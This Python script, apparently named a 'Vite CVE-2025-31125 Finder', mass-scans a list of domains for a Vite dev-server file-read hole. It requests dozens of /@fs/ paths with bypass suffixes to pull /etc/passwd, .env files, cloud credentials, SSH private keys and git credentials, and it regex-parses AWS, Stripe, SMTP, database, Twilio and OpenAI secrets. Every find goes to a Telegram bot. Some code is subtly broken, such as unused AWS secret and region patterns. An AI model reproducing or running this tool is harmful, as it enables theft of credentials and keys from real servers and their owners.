vue.py

import requests
import os
import re
from multiprocessing.dummy import Pool as ThreadPool
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init
from datetime import datetime
from urllib.parse import urlparse, urljoin
from bs4 import BeautifulSoup
from threading import Lock

# Track hosts that already found /etc/passwd
found_etc_hosts = set()
found_etc_lock = Lock()

# --- Telegram Notification Config ---
TELEGRAM_BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN"
TELEGRAM_CHAT_ID = "YOUR_TELEGRAM_CHAT_ID"
ENABLE_TELEGRAM = True  # Set to False to disable notifications

def send_telegram(msg):
    if not ENABLE_TELEGRAM:
        return
    url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
    data = {
        "chat_id": TELEGRAM_CHAT_ID,
        "text": msg,
        "parse_mode": "HTML"
    }
    try:
        requests.post(url, data=data, timeout=10)
    except Exception as e:
        print(f"{Fore.LIGHTRED_EX}[TELEGRAM ERROR] {e}{Style.RESET_ALL}")

init(autoreset=True)
LIME = Fore.LIGHTGREEN_EX

banner = f"""{LIME}{Style.BRIGHT}
╔════════════════════════════════════════════════════════╗
║                                                        ║
║              Vite CVE-2025-31125 Finder                ║
║                                                        ║
╚════════════════════════════════════════════════════════╝
{Style.RESET_ALL}"""
print(banner)

print(f"{LIME}{Style.BRIGHT}How To Use:")
print(f"{LIME}{Style.BRIGHT}1. Prepare a text file with your target domains, one per line.")
print(f"{LIME}{Style.BRIGHT}2. Run the script and follow the prompts.\n{Style.RESET_ALL}")

RESULTS_DIR = f"ResultsVite_{datetime.now().strftime('%Y%m%d_%H%M%S')}"
os.makedirs(RESULTS_DIR, exist_ok=True)

# --- Output file mapping ---
OUTPUT_FILES = {
    "ETCPASSWD": "ETCPASSWD.TXT",
    "SMTP": "SMTP.TXT",
    "AWS": "AWSKEY.TXT",
    "STRIPE": "STRIPE.TXT",
    "REDIS": "REDIS.TXT",
    "DATABASE": "DATABASE.TXT",
    "TWILLIO": "TWILLIO.TXT",
    "OPENAI": "OPENAI.TXT",
    "APPKEY": "APPKEY.TXT",
}

def get_hostname(url):
    try:
        return urlparse(url).hostname or "unknown"
    except Exception:
        return "unknown"

def beautify_block(title, url, data):
    block = f"==== {title} ====\nURL: {url}\n"
    for k, v in data.items():
        block += f"{k}: {v}\n"
    block += "="*60 + "\n"
    return block

def parse_and_save(url, text):
    # etc/passwd
    if text.startswith("root:x:"):
        block = beautify_block("etc/passwd", url, {"content": text.strip()})
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['ETCPASSWD']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"<b>🧑‍💻 etc/passwd found</b>\n<code>{url}</code>\n<pre>{text[:4000]}</pre>")

        # ✅ Mark this host as having found /etc/passwd
        hostname = get_hostname(url)
        with found_etc_lock:
            found_etc_hosts.add(hostname)
    # SMTP
    smtp = {
        "MAIL_HOST": re.search(r'^MAIL_HOST\s*=\s*(.*)', text, re.MULTILINE),
        "MAIL_USER": re.search(r'^MAIL_USERNAME\s*=\s*(.*)', text, re.MULTILINE),
        "MAIL_PASS": re.search(r'^MAIL_PASSWORD\s*=\s*(.*)', text, re.MULTILINE),
        "MAIL_FROM": re.search(r'^MAIL_FROM_ADDRESS\s*=\s*(.*)', text, re.MULTILINE),
        "MAIL_PORT": re.search(r'^MAIL_PORT\s*=\s*(.*)', text, re.MULTILINE),
    }
    if smtp["MAIL_HOST"] and smtp["MAIL_USER"] and smtp["MAIL_PASS"]:
        data = {k: (v.group(1) if v else "") for k, v in smtp.items()}
        block = beautify_block("SMTP Credentials", url, data)
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['SMTP']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"📧 <b>SMTP Credentials</b>\n<code>{url}</code>\n" + "\n".join([f"<b>{k}:</b> <code>{v}</code>" for k, v in data.items()]))

    # AWS
    aws = {
        "AWS_ACCESS_KEY_ID": re.search(r'^AWS_ACCESS_KEY_ID\s*=\s*(.*)', text, re.MULTILINE),
        "AWS_SECRET_ACCESS_KEY": re.search(r'^AWS_SECRET_ACCESS_KEY\s*=\s*(.*)', text, re.MULTILINE),
    }
    if aws["AWS_ACCESS_KEY_ID"] and aws["AWS_SECRET_ACCESS_KEY"]:
        data = {k: (v.group(1) if v else "") for k, v in aws.items()}
        block = beautify_block("AWS Keys", url, data)
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['AWS']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"☁️ <b>AWS Keys</b>\n<code>{url}</code>\n" + "\n".join([f"<b>{k}:</b> <code>{v}</code>" for k, v in data.items()]))

    # Stripe
    stripe = {
        "STRIPE_KEY": re.search(r'^STRIPE_KEY\s*=\s*(.*)', text, re.MULTILINE),
        "STRIPE_SECRET": re.search(r'^STRIPE_SECRET\s*=\s*(.*)', text, re.MULTILINE),
    }
    if stripe["STRIPE_KEY"] and stripe["STRIPE_SECRET"]:
        data = {k: (v.group(1) if v else "") for k, v in stripe.items()}
        block = beautify_block("Stripe Keys", url, data)
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['STRIPE']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"💳 <b>Stripe Keys</b>\n<code>{url}</code>\n" + "\n".join([f"<b>{k}:</b> <code>{v}</code>" for k, v in data.items()]))

    # Redis
    redis = {
        "REDIS_HOST": re.search(r'^REDIS_HOST\s*=\s*(.*)', text, re.MULTILINE),
        "REDIS_PASSWORD": re.search(r'^REDIS_PASSWORD\s*=\s*(.*)', text, re.MULTILINE),
        "REDIS_PORT": re.search(r'^REDIS_PORT\s*=\s*(.*)', text, re.MULTILINE),
    }
    if redis["REDIS_HOST"]:
        data = {k: (v.group(1) if v else "") for k, v in redis.items()}
        block = beautify_block("Redis Info", url, data)
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['REDIS']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"🗄️ <b>Redis Info</b>\n<code>{url}</code>\n" + "\n".join([f"<b>{k}:</b> <code>{v}</code>" for k, v in data.items()]))

    # Database
    db = {
        "DB_HOST": re.search(r'^DB_HOST\s*=\s*(.*)', text, re.MULTILINE),
        "DB_USER": re.search(r'^DB_USERNAME\s*=\s*(.*)', text, re.MULTILINE),
        "DB_PASS": re.search(r'^DB_PASSWORD\s*=\s*(.*)', text, re.MULTILINE),
        "DB_NAME": re.search(r'^DB_DATABASE\s*=\s*(.*)', text, re.MULTILINE),
        "DB_PORT": re.search(r'^DB_PORT\s*=\s*(.*)', text, re.MULTILINE),
        "DB_CONNECTION": re.search(r'^DB_CONNECTION\s*=\s*(.*)', text, re.MULTILINE),
    }
    if db["DB_HOST"] and db["DB_USER"] and db["DB_PASS"]:
        data = {k: (v.group(1) if v else "") for k, v in db.items()}
        block = beautify_block("Database Credentials", url, data)
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['DATABASE']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"🗄️ <b>Database Credentials</b>\n<code>{url}</code>\n" + "\n".join([f"<b>{k}:</b> <code>{v}</code>" for k, v in data.items()]))

    # Twilio
    twilio = {
        "TWILIO_ACCOUNT_SID": re.search(r'^TWILIO_ACCOUNT_SID\s*=\s*(.*)', text, re.MULTILINE),
        "TWILIO_AUTH_TOKEN": re.search(r'^TWILIO_AUTH_TOKEN\s*=\s*(.*)', text, re.MULTILINE),
    }
    if twilio["TWILIO_ACCOUNT_SID"] and twilio["TWILIO_AUTH_TOKEN"]:
        data = {k: (v.group(1) if v else "") for k, v in twilio.items()}
        block = beautify_block("Twilio Keys", url, data)
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['TWILLIO']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"📞 <b>Twilio Keys</b>\n<code>{url}</code>\n" + "\n".join([f"<b>{k}:</b> <code>{v}</code>" for k, v in data.items()]))

    # OpenAI
    openai = {
        "OPENAI_API_KEY": re.search(r'^OPENAI_API_KEY\s*=\s*(.*)', text, re.MULTILINE),
    }
    if openai["OPENAI_API_KEY"]:
        data = {k: (v.group(1) if v else "") for k, v in openai.items()}
        block = beautify_block("OpenAI Key", url, data)
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['OPENAI']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"🤖 <b>OpenAI Key</b>\n<code>{url}</code>\n" + "\n".join([f"<b>{k}:</b> <code>{v}</code>" for k, v in data.items()]))

    # ✅ REAL Private SSH Key — Only if it starts with the correct header
    if "-----BEGIN OPENSSH PRIVATE KEY-----" in text or "-----BEGIN RSA PRIVATE KEY-----" in text:
        hostname = get_hostname(url)
        fname = f"{RESULTS_DIR}/PRIVATEKEY_{hostname.upper()}.TXT"
        block = beautify_block("Private SSH Key", url, {"content": text.strip()})
        with open(fname, "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"🔑 <b>Private SSH Key</b>\n<code>{url}</code>\n<pre>{text[:4000]}</pre>")

    # App Key
    app_key = re.search(r'^APP_KEY\s*=\s*(.*)', text, re.MULTILINE)
    if app_key:
        data = {"APP_KEY": app_key.group(1)}
        block = beautify_block("App Key", url, data)
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['APPKEY']}", "a", encoding="utf-8") as f:
            f.write(block)
        send_telegram(f"🔑 <b>App Key</b>\n<code>{url}</code>\n<b>APP_KEY:</b> <code>{app_key.group(1)}</code>")

def is_interesting(text):
    # Only save if it matches a real secret, not HTML/junk
    if text.startswith("<!DOCTYPE html") or text.startswith("<html"):
        return False
    patterns = [
        r"root:x:\d+:\d+:",  # etc/passwd
        r"MAIL_HOST\s*=", r"DB_HOST\s*=", r"AWS_ACCESS_KEY_ID\s*=", r"STRIPE_KEY\s*=",
        r"TWILIO_ACCOUNT_SID\s*=", r"OPENAI_API_KEY\s*=", 
        r"-----BEGIN OPENSSH PRIVATE KEY-----", r"-----BEGIN RSA PRIVATE KEY-----",
        r"REDIS_HOST\s*=", r"APP_KEY\s*="
    ]
    return any(re.search(p, text) for p in patterns)

def check_site_alive(site):
    try:
        resp = requests.get(site, timeout=7)
        if resp.status_code in [200, 403, 404]:
            return True
    except Exception:
        pass
    return False

# --- New functions from bot_aws.py for JS scanning ---
def extract_info_from_js(js_content):
    """Extracts AWS credentials from a JavaScript file content."""
    extracted_info = {}
    aws_key_pattern = r'accessKeyId["\']?\s*:\s*["\']([^"\']+)'
    aws_secret_pattern = r'secretAccessKey["\']?\s*:\s*["\']([^"\']+)'
    region_pattern = r'region["\']?\s*:\s*["\']([^"\']+)'
    patterns = {
        'AWS Access Key ID': aws_key_pattern    }
    for key, pattern in patterns.items():
        match = re.search(pattern, js_content)
        if match:
            extracted_info[key] = match.group(1)
    return extracted_info

def find_files(url):
    """Find and return all URLs with specified file types from a given web page URL."""
    found_urls = []
    try:
        response = requests.get(url, timeout=5)
        response.raise_for_status()

        # Try different parsers if the default parser fails
        try:
            soup = BeautifulSoup(response.text, 'lxml')
        except Exception as e_lxml:
            try:
                soup = BeautifulSoup(response.text, 'html5lib')
            except Exception as e_html5lib:
                soup = BeautifulSoup(response.text, 'html.parser')

        # Look for all links in the page
        links = soup.find_all('a')
        for link in links:
            if link.get('href'):
                file_url = link.get('href')
                if file_url.endswith(('.js', 'config.json', '.env', '.ts', '.ini', 'php', '/phpinfo')):
                    if file_url.startswith(('http://', 'https://')):
                        found_urls.append(file_url)
                    else:
                        # Handle relative URLs
                        found_urls.append(urljoin(url, file_url))

        # Look for all script tags in the page
        scripts = soup.find_all('script')
        for script in scripts:
            if script.get('src'):
                file_url = script.get('src')
                if file_url.endswith(('.js', 'config.json', '.env', '.ts', '.ini', 'php', '/phpinfo')):
                    if file_url.startswith(('http://', 'https://')):
                        found_urls.append(file_url)
                    else:
                        # Handle relative URLs
                        found_urls.append(urljoin(url, file_url))

    except requests.exceptions.RequestException:
        pass
    return found_urls

def process_js_files(js_urls):
    """Process JavaScript files to extract AWS credentials."""
    results = []
    for js_url in js_urls:
        try:
            response = requests.get(js_url, timeout=5)
            response.raise_for_status()
            js_content = response.text
            extracted_info = extract_info_from_js(js_content)

            if all(key in extracted_info for key in ['AWS Access Key ID', 'AWS Secret Access Key', 'AWS Region']):
                result = f"{extracted_info['AWS Access Key ID']}|{extracted_info['AWS Secret Access Key']}|{extracted_info['AWS Region']}"
                results.append((js_url, result))
        except requests.exceptions.RequestException as e:
            pass
    return results

# --- End of new functions ---

def exploit(target):
    if '://' not in target:
        site = 'http://' + target
    else:
        site = target
    site = site.rstrip('/')

    if not check_site_alive(site):
        print(f"{Fore.LIGHTRED_EX}[BAD SITE] {site}{Style.RESET_ALL}")
        return

    # --- New workflow: Scan for JS files first ---
    print(f"{Fore.LIGHTBLUE_EX}[JS SCAN] Scanning for JavaScript files on {site}{Style.RESET_ALL}")
    js_urls = find_files(site)
    js_results = process_js_files(js_urls)
    
    # Process JS findings
    for js_url, result in js_results:
        print(f"{Fore.LIGHTGREEN_EX}[JS FOUND] {js_url}{Style.RESET_ALL}")
        # Save JS findings to AWS file
        with open(f"{RESULTS_DIR}/{OUTPUT_FILES['AWS']}", "a", encoding="utf-8") as f:
            f.write(f"{js_url}: {result}\n")
        send_telegram(f"☁️ <b>AWS Keys from JS</b>\n<code>{js_url}</code>\n<pre>{result}</pre>")

    # --- Original workflow: Scan hardcoded paths ---
    VITE_PATHS = [
        "/@fs/etc/passwd?import",
        "/@fs/.env?import",
        "/@fs/.env.local?import",
        "/@fs/.env.production?import",
        "/@fs/.env.development?import",
        "/@fs/config.php?import",
        "/@fs/config.json?import",
        "/@fs/config.js?import",
        "/@fs/config.yaml?import",
        "/@fs/config.yml?import",
        "/@fs/settings.py?import",
        "/@fs/.docker.env?import",
        "/@fs/app/config/database.php?import",
        "/@fs/appsettings.json?import",
        "/@fs/web.config?import",
        "/@fs/wp-config.php?import",
        "/@fs/sites/default/settings.php?import",
        "/@fs/.my.cnf?import",
        "/@fs/config/mail.php?import",
        "/@fs/app/config/mail.php?import",
        "/@fs/config/services.php?import",
        "/@fs/app/config/services.php?import",
        "/@fs/.aws/credentials?import",
        "/@fs/.aws/config?import",
        "/@fs/.google/credentials.json?import",
        "/@fs/.azure/credentials.json?import",
        "/@fs/.npmrc?import",
        "/@fs/.yarnrc?import",
        "/@fs/.pypirc?import",
        "/@fs/.netrc?import",
        "/@fs/.git-credentials?import",
        "/@fs/.git/config?import",
        "/@fs/.docker/config.json?import",
        "/@fs/.ssh/id_rsa?import",
        "/@fs/.ssh/id_dsa?import",
        "/@fs/.ssh/authorized_keys?import",
        "/@fs/.vite/development.env?import",
        "/@fs/.vite/config.json?import",
        "/@fs/.vite/variables.json?import",
        "/@fs/.vite/environment.js?import",
        "/@fs/.vite/config.js?import",
        "/@fs/vite.config.js?import",
        "/@fs/vite.config.ts?import",
        "/@fs/.vite/development.js?import",
        "/@fs/.vite/development.ts?import",
        "/@fs/.vite/development.json?import",
        "/@fs/.vite/development.yaml?import",
        "/@fs/.vite/development.yml?import",
        "/@fs/etc/passwd?import&?inline=1.wasm?init",
        "/@fs/etc/passwd?import&?inline=1.wasm?init&raw",
        "/@fs/etc/passwd?import&?inline=1.wasm?init&raw=true",
        "/@fs/etc/passwd?import&?inline=1.wasm?init&raw=1",
        "/@fs/etc/passwd?import&?inline=1.wasm?init&raw=0",
        "/@fs/.env?import&?inline=1.wasm?init",
        "/@fs/.env.local?import&?inline=1.wasm?init",
        "/@fs/.env.production?import&?inline=1.wasm?init",
        "/@fs/.env.development?import&?inline=1.wasm?init",
        "/@fs/config.php?import&?inline=1.wasm?init",
        "/@fs/config.json?import&?inline=1.wasm?init",
        "/@fs/config.js?import&?inline=1.wasm?init",
        "/@fs/config.yaml?import&?inline=1.wasm?init",
        "/@fs/config.yml?import&?inline=1.wasm?init",
        "/@fs/settings.py?import&?inline=1.wasm?init",
        "/@fs/.docker.env?import&?inline=1.wasm?init",
        "/@fs/app/config/database.php?import&?inline=1.wasm?init",
        "/@fs/appsettings.json?import&?inline=1.wasm?init",
        "/@fs/web.config?import&?inline=1.wasm?init",
        "/@fs/wp-config.php?import&?inline=1.wasm?init",
        "/@fs/sites/default/settings.php?import&?inline=1.wasm?init",
        "/@fs/.my.cnf?import&?inline=1.wasm?init",
        "/@fs/config/mail.php?import&?inline=1.wasm?init",
        "/@fs/app/config/mail.php?import&?inline=1.wasm?init",
        "/@fs/config/services.php?import&?inline=1.wasm?init",
        "/@fs/app/config/services.php?import&?inline=1.wasm?init",
        "/@fs/.aws/credentials?import&?inline=1.wasm?init",
        "/@fs/.aws/config?import&?inline=1.wasm?init",
        "/@fs/.google/credentials.json?import&?inline=1.wasm?init",
        "/@fs/.azure/credentials.json?import&?inline=1.wasm?init",
        "/@fs/.npmrc?import&?inline=1.wasm?init",
        "/@fs/.yarnrc?import&?inline=1.wasm?init",
        "/@fs/.pypirc?import&?inline=1.wasm?init",
        "/@fs/.netrc?import&?inline=1.wasm?init",
        "/@fs/.git-credentials?import&?inline=1.wasm?init",
        "/@fs/.git/config?import&?inline=1.wasm?init",
        "/@fs/.docker/config.json?import&?inline=1.wasm?init",
        "/@fs/.ssh/id_rsa?import&?inline=1.wasm?init",
        "/@fs/.ssh/id_dsa?import&?inline=1.wasm?init",
        "/@fs/.ssh/authorized_keys?import&?inline=1.wasm?init",
        "/@fs/.vite/development.env?import&?inline=1.wasm?init",
        "/@fs/.vite/config.json?import&?inline=1.wasm?init",
        "/@fs/.vite/variables.json?import&?inline=1.wasm?init",
        "/@fs/.vite/environment.js?import&?inline=1.wasm?init",
        "/@fs/.vite/config.js?import&?inline=1.wasm?init",
        "/@fs/vite.config.js?import&?inline=1.wasm?init",
        "/@fs/vite.config.ts?import&?inline=1.wasm?init",
        "/@fs/.vite/development.js?import&?inline=1.wasm?init",
        "/@fs/.vite/development.ts?import&?inline=1.wasm?init",
        "/@fs/.vite/development.json?import&?inline=1.wasm?init",
        "/@fs/.vite/development.yaml?import&?inline=1.wasm?init",
        "/@fs/.vite/development.yml?import&?inline=1.wasm?init",
    ]

    for path in VITE_PATHS:
        # ✅ Skip /etc/passwd paths if already found on this host
        hostname = get_hostname(site)
        if "etc/passwd" in path:
            with found_etc_lock:
                if hostname in found_etc_hosts:
                    continue  # Skip this path

        url = site + path
        try:
            resp = requests.get(url, timeout=10)
            if resp.status_code == 200 and is_interesting(resp.text):
                print(f"{Fore.LIGHTGREEN_EX}[FOUND] {url}{Style.RESET_ALL}")
                parse_and_save(url, resp.text)
            else:
                print(f"{Fore.LIGHTYELLOW_EX}[FAILED] {url} (status {resp.status_code}){Style.RESET_ALL}")
        except Exception as error:
            print(f"{Fore.LIGHTRED_EX}[ERROR] {url} ({error}){Style.RESET_ALL}")

def main():
    targets_file = input(f"{LIME}{Style.BRIGHT}Enter the filename containing target domains: {Style.RESET_ALL}").strip()

    if not os.path.isfile(targets_file):
        print(f"{Fore.LIGHTRED_EX}File not found: {targets_file}{Style.RESET_ALL}")
        return

    with open(targets_file, 'r', encoding='utf-8') as f:
        targets = [line.strip() for line in f if line.strip()]

    print(f"{Fore.LIGHTCYAN_EX}[INFO] Starting scan with 10 workers on {len(targets)} targets.{Style.RESET_ALL}")

    # ✅ Hardcoded 50 workers
    with ThreadPoolExecutor(max_workers=10) as executor:
        future_to_target = {executor.submit(exploit, target): target for target in targets}
        for future in as_completed(future_to_target):
            target = future_to_target[future]
            try:
                future.result()
            except Exception as e:
                print(f"{Fore.LIGHTRED_EX}[ERROR] {target} -> {e}{Style.RESET_ALL}")

    print(f"\n{Fore.LIGHTCYAN_EX}Scan completed. Check {RESULTS_DIR}/ for results.{Style.RESET_ALL}")


if __name__ == "__main__":
    main()